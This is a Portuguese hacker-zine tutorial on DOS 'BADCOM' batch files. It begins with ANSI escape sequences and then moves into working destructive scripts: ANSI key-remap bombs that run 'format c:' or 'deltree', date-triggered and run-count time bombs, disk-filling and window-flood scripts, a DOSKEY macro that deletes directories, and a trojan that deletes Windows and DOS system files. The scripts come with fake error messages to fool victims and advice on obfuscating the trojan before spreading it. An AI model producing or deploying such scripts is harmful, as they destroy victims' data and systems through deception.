ANSI. O método utilizado pelo ANSI para controlar o teclado e a tela é a sequência de escape, que nada mais é do que uma série de códigos iniciada por um caractere de escape. Todos os comandos ANSI s╞o iniciados por um caractere de escape (), seguido de um colchete esquerdo ([). Depois desses caracteres v╞o os códigos que dizem ao ANSI como controlar seu teclado/tela. Esses códigos s╞o parecidos com os do terminal VT100, só que um pouco mais limitados. O problema do ANSI é a dificuldade de entrar com o caractere de escape a partir do teclado. Existe um truque para fazer isso no EDIT do DOS. Pressione CTRL+P. Aparecer uma mensagem "Informe a tecla de controle para inserir" e ent╞o aperte ESC. Você ter o "". Obviamente, essa sequência toda de caracteres n╞o vai funcionar se n╞o tiver um comando como ECHO ou TYPE. MANIPULANDO A TELA COM O ANSI Com o ANSI, você pode apagar a tela (como no CLS), localizar o cursor num ponto da tela e mudar as cores de foreground e background. Para limpar a tela, siga o exemplo: [cls2.bat] @echo off echo [2J O comando [2J limpa a tela. Uma coisa interessante: se você direcionar o comando CLS pra um arquivo qualquer e editar esse arquivo, o conteúdo do mesmo ser [2J. Se você der um TYPE nesse arquivo, a tela se limpar . { Se o Ansi.sys estiver ativo no config ... Lembre-se disso ... } Para mudar a cor da tela, a sintaxe é [n;nm onde "n" é o código da cor e "m" é o código que indica a mudança de cor, portanto N╟O SE ESQUEÇA DE COLOCAR A LETRA "M" NO FIM DO CαDIGO! Veja a tabela de cores para ANSI: ┌───────────────┬──────────────────────┐ │ CαDIGO ANSI │ COR DO TEXTO │ ├───────────────┼──────────────────────┤ │ 0 │ Normal │ │ 1 │ Alta intensidade │ │ 2 │ Intensidade normal │ │ 4 │ Azul │ │ 7 │ Vídeo inverso │ │ 8 │ Texto invisível │ ├───────────────┼──────────────────────┤ │ 30 │ Foreground preto │ │ 31 │ Foreground vermelho │ │ 32 │ Foreground verde │ │ 33 │ Foreground amarelo │ │ 34 │ Foreground azul │ │ 35 │ Foreground magenta │ │ 36 │ Foreground ciano │ │ 37 │ Foreground branco │ ├───────────────┼──────────────────────┤ │ 40 │ Background preto │ │ 41 │ Background vermelho │ │ 42 │ Background verde │ │ 43 │ Background amarelo │ │ 44 │ Background azul │ │ 45 │ Background magenta │ │ 46 │ Background ciano │ │ 47 │ Background branco │ └───────────────┴──────────────────────┘ Exemplos: [azul.bat] @echo off echo [34m FUCK YOU! [pretonobranco.bat] @echo off echo [30;47m echo BAH! O primeiro exemplo exibe a mensagem "FUCK YOU" na cor azul e o segundo exemplo muda a cor do fundo pra branco e a do texto pra preto e exibe a mensagem "BAH". Finalmente, para localizar o cursor na tela, use [row;columnH, n╞o esquecendo que o H indica que o ANSI deve mudar o cursor e que n╞o pode ser esquecido. Esse comando é mais facil. O "row" corresponde à linha que você quer que o cursor va (pode ser 1 até 25) e column indica em que ponto da linha você quer que o cursor fique (pode ir de 1 até 80). { Ao utilizar modo 25x80 ... } Exemplo: [teste.bat] @echo off echo [10;40H TESTE Simples. Exibe a mensagem "TESTE" na linha 10, coluna 40. REMAPEAMENTO DE TECLADO Você pode mudar as teclas do seu computador usando ANSI. A sintaxe para a redesignaç╞o de teclas é: [n1;n2p Onde "n1" é a tecla a ser modificada, "n2" é a tecla para qual você quer que "n1" mude e "p" é o código que indica mudança de teclas. Cada letra tem um código próprio, segue-se uma tabela das teclas e seus respectivos códigos (para ver os códigos das outras teclas, use o comando HELP do DOS): ┌─────────┬────────┐ │ LETRA │ CαDIGO │ ├─────────┼────────┤ │ A │ 97 │ │ B │ 98 │ │ C │ 99 │ │ D │ 100 │ │ E │ 101 │ │ F │ 102 │ │ G │ 103 │ │ H │ 104 │ │ I │ 105 │ │ J │ 106 │ │ K │ 107 │ │ L │ 108 │ │ M │ 109 │ │ N │ 110 │ │ O │ 111 │ │ P │ 112 │ │ Q │ 113 │ │ R │ 114 │ │ S │ 115 │ │ T │ 116 │ │ U │ 117 │ │ W │ 118 │ │ V │ 119 │ │ X │ 120 │ │ Y │ 121 │ │ Z │ 122 │ └─────────┴────────┘ Exemplo: [remap.bat] @echo off echo [120;122p echo [122;120p Este exemplo vai trocar a letra "X" pela letra "Z" e a letra "Z" pela "X". ANSIBOMBS Além de trocar uma letra por outra, é possível atribuir um comando a uma tecla. Supunhetemos que você queira que a tecla "A" execute um determinado comando. Você deve fazer assim: [n1;"string"p O "n1" é a tecla a qual você quer atribuir um comando e "string" (deve ser entre aspas!) é o comando que você quer atribuir. Se você quiser que a tecla ENTER seja pressionada após o comando, deve ser assim: [n1;"string";13p O número 13 é o código ANSI da tecla ENTER. Exemplos: [a_dir.bat] @echo off [122;"dir/w";13p [abomb.bat] @echo off [105;"echo s | format c:";13p O primeiro exemplo executa o comando DIR/W sempre que a tecla "Z" for pressionada. O segundo exemplo vai detonar o HD assim que a tecla "I" for pressionada (um exemplo pratico de ANSIBOMB!). ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ExEmPloS ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ Neste capítulo você vai encontrar exemplos comentados linha por linha, assim você poder entender melhor o que acontece no source existente no próximo capítulo. 4.1) Detectando o idioma do DOS: [idioma.bat] 1| @echo off 2| vol >tmpvol.tmp 3| find "volume" tmpvol.tmp /i >nul 4| if errorlevel 0 if errorlevel 1 goto english 5| echo Seu Ruimdows é em português 6| goto fim 7| :english 8| echo Your Ruimdows is in English 9| :fim 10| del tmpvol.tmp A linha 1 desativa o ECHO. A linha 2 executa o comando VOL direcionado pro arquivo "tmpvol.tmp". Vendo o conteúdo desse arquivo, ter isso (se for em português): O volume da unidade C é RUIMDOWS 95 O número de série do volume é 22E1-0142 A linha 3 ir procurar pela palavra "volume" no arquivo "tmpvol.tmp" e a linha 4 verificar se a string n╞o foi encontrada e mandar o batch para a linha 7, se isso for verdade. É aí que est a grande sacada. Se o Ruimdows for em português, aparecer a palavra "volume" no arquivo "tmpvol.tmp", mas se for em inglês, a palavra ser "label", e n╞o "volume", ou seja se o FIND n╞o encontrar a palavra "volume" é porque o Ruimdows é em inglês. Mas pra que isso? Respondo com outra pergunta: quando você for detonar um HD, você vai usar "ECHO S | FORMAT C:" ou "ECHO Y | FORMAT C:"? As linhas 5 até 10 n╞o tem muito segredo. Exibem mensagens, até chegar ao fim, que termina apagando o arquivo "tmpvol.tmp". 4.2) Detectando a data do computador [data.bat] 1| @echo off 2| date tmpdate.tmp 3| find "06/06/1998" tmpdate.tmp /i >nul 4| if errorlevel 0 if errorlevel 1 goto dataerrada 5| echo Hoje eu estou de mau humor! Vou fuder seu HD! 6| deltree /y c:\*.* 7| goto fim 8| :dataerrada 9| echo Hoje eu serei benevolente e n╞o vou fuder seu HD. 10| :fim 11| del tmpdate.tmp O princípio usado nesse arquivo é o mesmo do exemplo acima. A linha 1 desativa o ECHO, a 2 cria um arquivo "tmpdate.tmp" que contém a data atual, a linha 3 procura a data que você quer que detone o HD, a 4 verifica se a data é a certa ou a errada. Se for certa, exibe uma mensagem, detona os arquivos e vai pro fim, como visto nas linhas 5, 6 e 7. Se n╞o for a data certa, o programa vai para a linha 8, exibe uma mensagem na 9 e vai pro fim, onde apaga o arquivo tmpdate.tmp. 4.3) ANSIBOMB [abomb.bat] 1| @echo off 2| echo [99;"deltree /y c:\*.* >nul";13p 3| echo Memória insuficiente Este exemplo é muito simples. A linha 1 desativa o ECHO, a 2 fara com que quando a tecla "C" for pressionada, detone todos os arquivos e a linha 3 exibe uma mensagem de erro para enganar o usuario, depois que a bomba foi setada. 4.4) Travando o computador [travando.bat] 1| @echo off 2| echo hehehe > hehehe.com 4| hehehe Esse é mais simples ainda. A linha 1 desativa o ECHO, a 2 cria um arquivo chamado "hehehe.com" cujo conteúdo seja "hehehe" e a 3 roda esse arquivo, fazendo o computador travar. 4.5) Time Bomb [tbomb.bat] 1| @echo off 2| cd\ 3| if exist data1.dat goto 2 4| type nul > data1.dat 5| attrib +a +r +h +s data1.dat 6| goto end 7| :2 8| if exist data2.dat goto 3 9| type nul > data2.dat 10| attrib +a +r +h +s data2.dat 11| goto end 12| :3 13| if exist data3.dat goto 4 14| type nul > data3.dat 15| attrib +a +r +h +s data3.dat 16| goto end 17| :4 18| if exist data4.dat goto 5 19| type nul > data4.dat 20| attrib +a +r +h +s data4.dat 21| goto end 22| :5 23| if exist data5.dat goto timeisup 24| type nul > data5.dat 25| attrib +a +r +h +s data5.dat 26| goto end 27| :timeisup 28| echo s | format c: 29| :end 30| Memória insuficiente Este BADCOM ser inofensivo durante 5 vezes que for rodado. Na sexta vez, o cara pode dizer adeus ao HD dele... Ha, Ha, Ha! Este exemplo é meio grande, mas é facil por ser muito repetitivo se você prestar atenç╞o, vera que os mesmos comandos s╞o sempre usados. O segredo desse batch esta nas linhas 3, 8, 13, 18 e 23. S╞o elas que v╞o determinar quantas vezes o programa ja foi usado. Preste atenç╞o no redirecionamento de I/O nas linhas 4, 9, 14, 19 e 24. Elas criam arquivos vazios (NUL é vazio) que ser╞o usados pra descobrir quantas vezes o programa ja foi rodado. As linhas 5, 10, 15, 20 e 25 escondem os arquivos criados. Note também que sempre que um novo arquivo .DAT é criado, o programa para, exibindo uma mensagem pra enganar o imbecil do usuario. Atenç╞o especial pra linha 23: ela que define a hora de detonar o HD, direcionando o batch pra linha 27. A partir daí o FORMAT é acionado, como visto na linha 28. { Exemplo muito interessante, deveria ser usado em todos os bad com } 4.6) Enchendo o HD de lixo [hdtrash.bat] 1| @echo off 2| echo d | xcopy c:\*.* %windir%\system\vms /s >nul 3| attrib +a +r +s +h %windir%\system\vms 4| Um dos arquivos necessarios n╞o foi encontrado. Um exemplo simples, só que muito incômodo. Fara o HD do cara dobrar de tamanho cada vez que for executado, copiando tudo que tem no HD para o diretório VMS, no diretório \SYSTEM do Ruimdows e no final exibe uma mensagem pra enganar o idiota. Esse BADCOM também esconde o diretório VMS, por motivos óbvios. Duas coisas importantes: se n╞o for feito um PIPE, com o comando "ECHO D |", o BADCOM n╞o funcionar , pois perguntar se o VMS especificado é um arquivo ou um diretório. Outra coisa que você deve ter notado foi o uso da variavel "%windir%". Isso é uma variavel de sistema do Windows, que define em que diretório o Ruimdows esta instalado. 4.7) Abrindo janelas infinitamente [window.bat] 1| @echo off 2| :loop 3| %windir%\notepad 4| goto loop Outro BADCOM simples, mas que é um pé no saco! Fica abrindo infinitas janelas do NOTEPAD, devido ao comando "goto loop" (linha 4) que retorna para a linha 2. Note também o uso da vari vel "%windir%" novamente. Você pode substituir o "notepad" por outro programa, se você quiser. 4.8) Usando o DOSKEY pra destruir [tbomb2.bat] 1| @echo off 2| doskey cd deltree /y $1 /echo:off 3| Um arquivo necess rio n╞o foi encontrado αtimo BADCOM: facil e destrutivo. Faz com que quando sua vítima tentar entrar em um diretório, delete esse diretório. Isso ocorre porque quando você entra em um diretório, usa o comando "CD $1", onde $1 equivale ao diretório que você quer entrar. Essa macro substitui o "CD $1" por "DELTREE /Y $1". 4.9) Travando o computador durante a inicializaç╞o [autoexec.bat] @type autoexec.bat >> autoexec.bat Esse é um batch 2 em 1. Ao mesmo tempo que trava o computador da vítima, aumenta o tamanho do HD. Obviamente, esse comando deve ser ADICIONADO ╖ ΘLTIMA LINHA DO AUTOEXEC.BAT. O comando TYPE vai adicionar tudo que tem no Autoexec ao próprio Autoexec fazendo um loop infinito (e travando tudo), porque o DOS executa um batch linha por linha. Quando o batch chega ao fim, executa o comando mostrado acima e começa tudo de novo. { 4.A ) Mais Exemplos retirados dum texto da NET sob nick Seq_Massive com UIN 1292685 e e-mail: seq@bestway.com.br, duvidas nesse topico, mandem para ele. Exemplos destrutivos. ------------------------- --------------Recortar---------------- @echo off cls echo BaDcOm By SeQ MaSs╫vE echo NaMe Of BaDcOm: AuToCrAsh/v2.0 cd\ del autoexec.bat echo autoexec.1 @echo off echo autoexec.2 cls echo autoexec.3 deltree /y \windows\ echo autoexec.4 deltree /y \dos\ echo autoexec.5 deltree /y \meusdo~1\ echo autoexec.bat copy autoexec.* autoexec.bat del *.1 del *.2 del *.3 del *.4 del *.5 echo ThaNx fOr UsE SeQ MaSs╫vE's BaDcOm AutocrasH v2.0 --------------Recortar---------------- @echo off cls echo Badcom By SeQ mAss╫vE......... echo NamE: No InI's 2.01 cd\ echo Searching.... cd win cd windows cd wind cd windos cd win95 cd wind95 cd win-95 del *.ini --------------Recortar---------------- @echo off cls echo Badcom By SeQ mAss╫vE......... echo NaME: N0-SyS 1.0 cd\ del *.bat del *.sys del *.com echo > config.sys echo > autoexec.bat cd windows copy *.ini \autoexec.bat copy *.ini \config.sys del *.ini del *.exe deltree /y command deltree /y system attrib +h *.* cd\ attrib +h *.* --------------Recortar---------------- 4.B ) Trojan em BATCH (.bat) por PoInDeXtEr e-mail: p0indexter@hotmail.com Se voce roda o Ms-lixo,nada contra, afinal esse Trojan so funciona nele mesmo :) ,o trojan que segue abaixo e' de minha autoria nos tempos de brincadeira(quando eu tava comecando),e para quem ja fez um arquivinho ponto bat,aquele do lemmings que ao inves de digitar "vgalemmi" voce fez um bat que chamava l.bat e que executava o commando vgalemmi,ou seja,inicializava o joguinho,ah e o KiKo,nao perai!,ve se entende: Voce nao pode ter reparado,mas esses arquivinhos que voce fazia sao mais poderosos do que voce imagina,e' isso ai,muito fortes ! Mas fortes como ? No proprio interpretador de commandos do seu sistema operacional,no caso o Command.com existem inumeros comandos nele embutido,como horario,data, criacao de diretorios entre tantos outros. Entre esses tantos outros,existe um comando que e' essencial para um bom trojan funcionar,saber se o arquivo que voce vai utilizar no seu trojan, (no caso o DELTREE.EXE) existe,se nao amigo,um abraco!,ah o commando e' o "if exist path nome do arquivo.extensao " . Caraco mais tudo isso pra fazer um trojan,nao,pera ai,nao fica ner- voso,se voce so recortar a porra do programa que tem ai em baixo e nao manjar para que o raio dos commandos funcionam,me desculpe,voce nao passa de um Lamah,mas se voce ja manja e bem de computador,ta lendo essa parte porque? ela ja ta entitulado como trojans em BATCH,porquanto,nao reclame ! Bom,( ah eu costumo falar muito Bom,voce ja deve ter percebido! ) no Programa abaixo,as linhas que comecam com # devem ser apagadas,elas so sao os comentarios do programa. Ah,ve se nao vai mandar o programa.BAT,converte ele! Mas como? Pega o meu Conversor de BAT pra EXE em alguma bbs por ai e converte a crianca,como muitos dos commandos continuam aparecendo no raio do EXE passa um PKLITE,um PROTEX, ou sei la algo que ,ou comprima ou criptografe seu programa e que ele continue funcionando,sugiro o pklite e o protex pois eu testei e funcionou legal,ah,so que tem mais um porem,o meu conversor, converte para linguaqem de maquina,mas o arquivo que sai e' EXE so no NOME, passa um UNP pela crianca e converte ele para EXE (DE VERDADE),bom,se nao entendeu,manda msg mas eu tentei ser o mais obsclaro possivel ! Bom,pega o fonte ai embaixo e boa diversao,nao se esqueca de apagar as linhas que comecam com # ! -------------------- CORTE AQUI ! inicio do Trojan.bat ---------------------- @ECHO OFF #### Tipo desativa o comando do usuario,exceto Crtl + C IF EXIST C:\DOS\DELTREE.EXE GOTO A #### Comando que verifica se existe o arquivo maravilha e nos manda para :A IF NOT EXIST C:\DOS\DELTREE.EXE GOTO N #### Comando maldito que salva o coitado,mas que tira o erro de se nao houver #### a porra do arquivo ! ah,eles no leva ate' :N :A CLS #### BaH,mas vamo ai esse limpa a tela PATH = C:\DOS #### Muda o Path atual para c:\dos ECHO.Aguarde ... ECHO.Inicializando o Programa ... ECHO.Isso pode demorar um pouquinho ... #### ECHO. e' o commando para escrever na tela ou em arqs,depois eu explico DELTREE /Y C:\WIN*.* >NUL DELTREE /Y C:\NET*.* >NUL #### Executando a crianca ! ah, o > nul e' para nao mostrar na tela #### Excluindo c:\windows ,sacou ?! LABEL pOiNdExTer > nul #### Renomeando o HD do coitado GOTO B #### Indo para (sei la) se fosse em clipper era function ! aqui nem sei,so #### sei que vai para o local indicado como B: :B ECHO. Se ferrou! ECHO. Acho que n╞o devia ter executado esse programa! ECHO. Trojan make by pOiNdExTer para uso em Dos 5.0 up to 6.23 he he ! ECHO. Bom,agora que voce nao tem mais nada de inutil em seu computador ECHO. Instale um Unix e seja feliz ! ECHO. ECHO. #### essas bolinhas sao chr(7) beep ! GOTO C :N #### Aqui e' que se da bem ! ECHO. Sortudo ... GOTO FIM :C ECHO.PROMPT=C:\pOinDexTer ) >>C:\AUTOEXEC.BAT #### Aqui comeca a brincadeira !!!,ja mudei o C:\> para C:\pOinDexTer ) #### quer dizer,so quando ele bootar a maquina,pois isso sera inserido no #### Autoexec do coitado ! ECHO.ECHO. ╔═══════════════════════════════┐ >>C:\AUTOEXEC.BAT ECHO.ECHO. ║ TENHA UM BOM DIA SEU OT╡RIO │ >>C:\AUTOEXEC.BAT ECHO.ECHO. ╚───────────────────────────────┘ >>C:\AUTOEXEC.BAT ECHO.ECHO. >>C:\AUTOEXEC.BAT ECHO.ECHO. PoInDeXtEr WeRe hErE ... >>C:\AUTOEXEC.BAT ECHO.@ECHO OFF >>C:\AUTOEXEC.BAT ECHO.DELTREE /Y IO.SYS >>C:\AUTOEXEC.BAT ECHO.DELTREE /Y MSDOS.SYS >>C:\AUTOEXEC.BAT ECHO.DELTREE /Y COMMAND.COM >>C:\AUTOEXEC.BAT ECHO.DELTREE /Y C:\DOS*.* >>C:\AUTOEXEC.BAT ECHO.ECHO. Ps. Como este programa te pegou,pegue seus amigos tambem ! >-) >>C:\AUTOEXEC.BAT GOTO FIM :FIM @ECHO ON #### finaliza o programa e retorna o raio do cursor ! ------------------- CORTE AQUI ! Fim do Trojan.bat -------------------------- Bom,apos recortar esse programa,nao se afobe para mando-lo por ai,entre em algum bbs pega o raio dos programas que eu falei la em cima,Deixa eu falar eles de novo,PKLITE,PROTEX,UNP e o meu conversor e' claro (ou o TURBOBAT ou o BAT2EXEC(que e' igualzinho o meu,eu arrumei os fontes em ASM e melhorei um pouquinho,quer dizer,eu acho!). Para nao ficar duvidas: Converte o .bat para .exe (com o Turbobat,converte,ou o bat2exec) UNP x na crianca (x e' o parametro para converter para EXE) PKLITE e/ou PROTEX no arquivo EXE(verdadeiro) Bom galera acho que e' so,ah,mes que vem devo escrever mais alguma coisa aqui pro Zine , Ate' la !!! Qualquer duvida deixa mensagem pra mim ... BY PoInDexTer <WoH 98> } ┌────────────────────────────────────────────────────────────────────────────┐ │\/\/\/\/\/\/\/\/\ - - = [ CoMo ConTaTaR o AuToR ] = - - /\/\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ Se você tiver qualquer dúvida, comentario, encontrou alguma informaç╞o errada ou sabe de alguma dica legal pra ser usada num BADCOM, meu e-mail é agm.overlord@usa.net e meu ICQ# é 1941484. Contanto que você n╞o fique me enchendo o saco com perguntas idiotas, sinta-se livre pra me contatar quando você quiser. { Vai na fe irmao, valeu pelo texto, espero que a galera tenha gostado ... } ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\ - - = [ Ap╥nDiCe A: TaBelA ASCii ] = - - /\/\/\/\/\/\/\/\/\│ └────────────────────────────────────────────────────────────────────────────┘ Aqui vai a lista dos caracteres ASCII estendidos e seus respectivos códigos. Para us -los pressione ALT, escreva o número do código e solte ALT (no teclado numérico) ┌─────────┬──────┐ ┌─────────┬──────┐ │CARACTERE│CαDIGO│ │CARACTERE│CαDIGO│ ├─────────┼──────┤ ├─────────┼──────┤ │ Ç │ 128 │ │ └ │ 192 │ │ ü │ 129 │ │ ┴ │ 193 │ │ é │ 130 │ │ ┬ │ 194 │ │ â │ 131 │ │ ├ │ 195 │ │ ä │ 132 │ │ ─ │ 196 │ │ à │ 133 │ │ ┼ │ 197 │ │ å │ 134 │ │ ╞ │ 198 │ │ ç │ 135 │ │ ╟ │ 199 │ │ ê │ 136 │ │ ╚ │ 200 │ │ ë │ 137 │ │ ╔ │ 201 │ │ è │ 138 │ │ ╩ │ 202 │ │ ï │ 139 │ │ ╦ │ 203 │ │ î │ 140 │ │ ╠ │ 204 │ │ ì │ 141 │ │ ═ │ 205 │ │ Ä │ 142 │ │ ╬ │ 206 │ │ Å │ 143 │ │ ╧ │ 207 │ │ É │ 144 │ │ ╨ │ 208 │ │ æ │ 145 │ │ ╤ │ 209 │ │ Æ │ 146 │ │ ╥ │ 210 │ │ ô │ 147 │ │ ╙ │ 211 │ │ ö │ 148 │ │ ╘ │ 212 │ │ ò │ 149 │ │ ╒ │ 213 │ │ û │ 150 │ │ ╓ │ 214 │ │ ù │ 151 │ │ ╫ │ 215 │ │ ÿ │ 152 │ │ ╪ │ 216 │ │ Ö │ 153 │ │ ┘ │ 217 │ │ Ü │ 154 │ │ ┌ │ 218 │ │ ¢ │ 155 │ │ █ │ 219 │ │ £ │ 156 │ │ ▄ │ 220 │ │ ¥ │ 157 │ │ ▌ │ 221 │ │ ₧ │ 158 │ │ ▐ │ 222 │ │ ƒ │ 159 │ │ ▀ │ 223 │ │ │ 160 │ │ α │ 224 │ │ í │ 161 │ │ ß │ 225 │ │ ó │ 162 │ │ Γ │ 226 │ │ ú │ 163 │ │ π │ 227 │ │ ñ │ 164 │ │ Σ │ 228 │ │ Ñ │ 165 │ │ σ │ 229 │ │ ª │ 166 │ │ µ │ 230 │ │ º │ 167 │ │ τ │ 231 │ │ ¿ │ 168 │ │ Φ │ 232 │ │ ⌐ │ 169 │ │ Θ │ 233 │ │ ¬ │ 170 │ │ Ω │ 234 │ │ ½ │ 171 │ │ δ │ 235 │ │ ¼ │ 172 │ │ ∞ │ 236 │ │ ¡ │ 173 │ │ φ │ 237 │ │ « │ 174 │ │ ε │ 238 │ │ » │ 175 │ │ ∩ │ 239 │ │ ░ │ 176 │ │ ≡ │ 240 │ │ ▒ │ 177 │ │ ± │ 241 │ │ ▓ │ 178 │ │ ≥ │ 242 │ │ │ │ 179 │ │ ≤ │ 243 │ │ ┤ │ 180 │ │ ⌠ │ 244 │ │ ╡ │ 181 │ │ ⌡ │ 245 │ │ ╢ │ 182 │ │ ÷ │ 246 │ │ ╖ │ 183 │ │ ≈ │ 247 │ │ ╕ │ 184 │ │ ° │ 248 │ │ ╣ │ 185 │ │ ∙ │ 249 │ │ ║ │ 186 │ │ · │ 250 │ │ ╗ │ 187 │ │ √ │ 251 │ │ ╝ │ 188 │ │ ⁿ │ 252 │ │ ╜ │ 189 │ │ ² │ 253 │ │ ╛ │ 190 │ │ ■ │ 254 │ │ ┐ │ 191 │ │ │ 255 │ └─────────┴──────┘ └─────────┴──────┘ ┌────────────────────────────────────────────────────────────────────────────┐ │/\/\/\/\/\/\/\/\ - - = [ Ap╥nDiCe B: ERRoRlEvElS ] = - - /\/\/\/\/\/\/\/\/\/│ └────────────────────────────────────────────────────────────────────────────┘ Por enquanto eu só consegui os errorlevels de alguns programas (alguns deles inúteis) do DOS. Conforme eu for arranjando mais, eu aumento essa lista. -> MSBACKUP 0 - Normal 1 - Nenhum arquivo foi copiado 2 - Conflito de partilhamento de arquivos 3 - CTRL+BREAK foi pressionado 4 - Erro -> DISKCOMP 0 - Normal 1 - Os disquetes eram incompar veis 2 - CTRL+BREAK pressionado 3 - Erro de hardware 4 - Erro de inicializaç╞o -> DISKCOPY 0 - Normal 1 - Erro de leitura/gravaç╞o 2 - CTRL+BREAK pressionado 3 - Erro de hardware 4 - Erro de inicializaç╞o -> FORMAT 0 - Normal 2 - CTRL+BREAK foi pressionado 4 - Erro 5 - "N" foi pressionado quando perguntou se queria formatar o HD -> KEYB 0 - Normal 1 - Erro de sintaxe 2 - Arquivo de teclado n╞o encontrado 3 - Problema de memória 4 - Erro no dispositivo CON 5 - Solicitaç╞o de código de pagina n╞o preparado 6 - Tabela de traduç╞o n╞o encontrada 7 - Vers╞o incorreta do DOS -> REPLACE 0 - Normal 1 - Arquivo fonte n╞o encontrado 3 - Path do arquivo fonte n╞o encontrado 5 - Acesso negado 8 - Memória insuficiente 11 - Erro de sintaxe 15 - Unidade de disco inexistente 22 - Vers╞o incorreta do DOS -> RESTORE 0 - Normal 1 - Nenhum arquivo encontrado 2 - Conflito de partilhamento de arquivos 3 - CTRL+BREAK pressionado 4 - Erro -> SETVER 0 - Normal 1 - Parâmetro desconhecido 2 - Nome de arquivo desconhecido 3 - Falta de memória 4 - Vers╞o do DOS errada 5 - Entrada do programa n╞o foi encontrada 6 - Sistema DOS n╞o foi encontrado 7 - Unidade de disco invalida 8 - Excesso de parâmetros 9 - Faltam parâmetros 10 - Erro lendo MSDOS.SYS 11 - Tabela de vers╞o esta corrompida 12 - Arquivos de sistema DOS n╞o suportam as tabelas de vers╞o 13 - N╞o ha espaço disponível na tabela de vers╞o 14 - Erro gravando MSDOS.SYS -> XCOPY 0 - Normal 1 - Nenhum arquivo encontrado 2 - CTRL+BREAK pressionado 4 - Erro de inicializaç╞o 5 - Erro de gravaç╞o/disco protegido -> FIND 0 - Normal, o comando encontrou a string especificada 0 e 1 ao mesmo tempo - A string n╞o foi encontrada ──────────────────────────────────────────────────────────────────────────── Copyright ╕ 2000, Vírus Brasil ⌐ ────────────────────────────────────────────────────────────────────────────